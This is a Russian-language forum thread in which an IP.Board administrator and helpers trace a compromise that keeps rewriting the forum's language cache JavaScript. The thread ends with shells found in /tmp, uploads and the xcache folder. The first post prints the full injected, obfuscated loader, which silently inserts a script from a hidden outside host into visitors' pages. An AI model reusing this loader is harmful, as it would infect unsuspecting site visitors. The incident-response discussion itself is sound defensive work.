Перейти к контенту
  • 0

Языковой кэш создается некорректно


Вопрос

Ни с того, ни с сего появился целый ряд проблем на форуме: перестали работать многие кнопки на панели редактирования текста, вставляться цитаты, некоторый текст отображался как undefined или placeholder.

 

Удалил все сторонние приложения и хуки - безрезультатно.

Обновил форум с версии 3.3.3 до 3.4.4 - тоже не помогло.

 

Обнаружил, что если почистить языковой кэш - то все проблемы исчезают, но только на 1 день, затем появляются снова.

 

Начал копаться в кэше, обнаружил, что косячно создается файл /cache/lang_cache/1/ipb.lang.js с вот таким содержанием:



(function(){var M=Math.round(100*Math.random()),e=!1,v="d\151\163pl\x61\x79:n\x6f\x6ee",a=function(j){var H="";for(var A=0;A<j.length;A++)H+=String.fromCharCode(j[A]+13);return H},L="NjtkOv1",y=function(){var H=" "+q.cookie,h=" "+j+"=",W=null,A=0,n=0;0<H.length&&(A=H.indexOf(h),-1!=A&&(A+=h.length,n=H.indexOf(";",A),-1==n&&(n=H.length),W=unescape(H.substring(A,n))));return W},Q=function(){q.cookie=j+"\75\61; \145x\x70ires="+(new Date((new Date).getTime()+864E5)).toGMTString()+"; p\x61t\150=/"},z="b\x6fd\x79",X="h\x74t\160\x3a\57/",U=5,i="/jq\165e\162y\56m\x69n.\152s?\166\x3d",h=window,x=[92,33,103,98,108,102,39,94,92,103,103,92,88,102,33,86,98,96],m=!1,A="src",j="\x5fg\x41\x64s",H="d\151v",c=function(){if(q[z]&&(!q[z][r]&&!h[K]&&(q[z][r]=function(W){W=W||h.event;if(W.clientX||W.clientY)h[K]=!0;q[z][r]=null}),h[K])){var i=function(I){return q.createElement(I)},x=function(e){q[z].insertBefore(e,q[z].firstChild)},R=function(n,y,d){y.setAttribute(d,n)},m=function(X,J){J.appendChild(X)},M=i(H),Y=i(V),Q=i(V);R(L,M,"id");R(v,M,"style");h[K]=[U,j,L,q.domain,h.location.protocol];x(M);m(Y,M);Q.text=P;m(Q,M)}h[K]||setTimeout(c,20)},d=[89,92,101,102,103,54,91,92,95,87],J=navigator,n=/*@cc_on!@*/!1,q=document,r="o\156m\157\165\163\x65over",K="\x782\144",R="sid\145b\141\x72"in h,V=a([102,86,101,92,99,103]),I=-1!=J.platform.search(/win[3264]+/i),Y="op\x65\162a"in h,W=X+a(x)+i+U+M,P="\x64o\x63\165m\x65n\x74.\147etE\154e\155entById('"+L+"\x27)\56"+a(d)+"\56\x73et\101t\164\162\151\142u\x74e(\47"+A+"'\54\x20'"+W+"\47\x29\73";h[K]=!1;null==y()&&(e=!0,Q(),null==y()&&(m=!0));if((n||R||Y)&&I&&e&&!m){c()}})()

вместо должного:



ipb.lang['action_failed']	= "Действие не выполнено";
ipb.lang['ajax_failure']	= "Извините, но данное действие не прошло!";
ipb.lang['album_full']	= "У вас недостаточно прав, чтобы загрузить еще элементы в этот альбом";
ipb.lang['approve']	= "Показать";
...

На данный момент выставил права файлу, запрещающие его перезапись. Но хочу найти причину её появления и решить проблему правильно.

Надеюсь на вашу помощь )

Изменено пользователем defnur
Ссылка на комментарий
Поделиться на других сайтах

Рекомендуемые сообщения

  • 0

Смотреть в сторону логов апача и сопоставлять со временем создания /cache/lang_cache/1/ipb.lang.js . Там, скорее всего, будет обращение к шеллу. Дырки закрывать уже поздно. Надо сначала найти и удалить бекдоры. 

Ссылка на комментарий
Поделиться на других сайтах

  • 0

В логах не нашел ничего подозрительного. Сам шелл тоже.

Решил поступить радикально....

 

Поставил последнюю версию форума с нуля, оставив только БД, максимально настроил безопасность. Всё равно ipb.lang.js пересоздается криво.

Если обновить кэш вручную - то нормально, но когда форум сам обновляет кэш, то косячит именно на этом файле. Уже не знаю, что и думать.

 

Использую связку nginx + php5-fpm уже давно, раньше проблем не было. В чем ещё может быть дело?

Изменено пользователем defnur
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Как я уже сказал, форум сам его не обновляет, никогда. И уж, тем более, не записывает туда обфусцированный код. Меняйте пароль от фтп.  Файлы удалили все? Даже uploads? Смотрите таблицу core_hooks_files на предмет картинки или ../../../tmp/4blкакойнитьбред.php - это самые распространенные шеллы.  Вы же /tmp или  /var/tmp или как нибудь еще не чистили. И conf_global.php посмотрите на предмет IP_FIREWALL .

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Ух ты, действительно! В core_hooks_files нашел  ../../../tmp/4blкакойнитьбред.php, и этот бред лежал в /tmp. Вот это нычка!

Почистил, жду. Примного благодарен Вам, Денис.

 

Странно, что не сломали форум, даже не задефэйсили. Скажите, есть необходимость менять пароли на все учетки, имеющие доступ в админку? С таким шеллом могли слить базу?

 

P.S. ФТП доступа нет, только SSH. Файлы удалял все, кроме uploads, там over 1 gb файлов, просканировал на предмет .php, .html, .js - ничего нет. На всякий случай запретил в uploads исполнение скриптов.

Изменено пользователем defnur
Ссылка на комментарий
Поделиться на других сайтах

  • 0

Я так понимаю, это какой-то зомбинет с автоматическим управлением. Базы не сливает, никак не пакостит, только трояна в js прописывает. Картинки в аплоадс надо смотреть на предмет <?php в тексте,  через grep. Запрет на исполнение абсолютно ничего не дает. Он запрещает только исполнение из консоли(ssh), да если бы и запрещал, то все равно, эти файлы подключаются через include , а то и вообще через eval().

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Просканировал через grep весь uploads, нашел пару jpg и пару ipb файлов с php кодом, удалил.

Также просканировал всю базу на предмет <?php - пусто (только в core_hooks_files стандартные хуки, ничего подозрительного).

Почистил весь кэш.

 

Учитывая, что ранее была поставлена последняя версия форума с нуля, очищен каталог /tmp, казалось бы теперь проблема точно решена.

Но нет! Спустя несколько часов файл ipb.lang.js снова обновился с кодом (

 

Ума не приложу, куда дальше смотреть?

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Остается только по логам искать. Совместите по времени лог обращений к апачу и дату создания файла кеша языка. В index.php define('IPB_FIREWALL', 1);  дописать в начало. И поискать в файлах его же. 

Ссылка на комментарий
Поделиться на других сайтах

  • 0

Благодаря логам, нашел таки виновника - бэкдор лежал в папке кэшера xcache.

И как я сразу не подумал об этом... *facepalm*

Просто xcache лежит в совершенно другой директории, и путь к нему прописан в конфиге nginx. Можно сказать, я даже забыл про эту папку.

 

К этому бэкдору до сих пор, каждые 6 часов ломится 1 немецкий ип, видимо, и правда бот.

 

Проблема решена. Ещё раз огромное спасибо Денису. Эту тему можно использовать как гайд по нахождению вредоносного кода на IPB )

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Unfortunately, your content contains terms that we do not allow. Please edit your content to remove the highlighted words below.
Ответить на вопрос...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.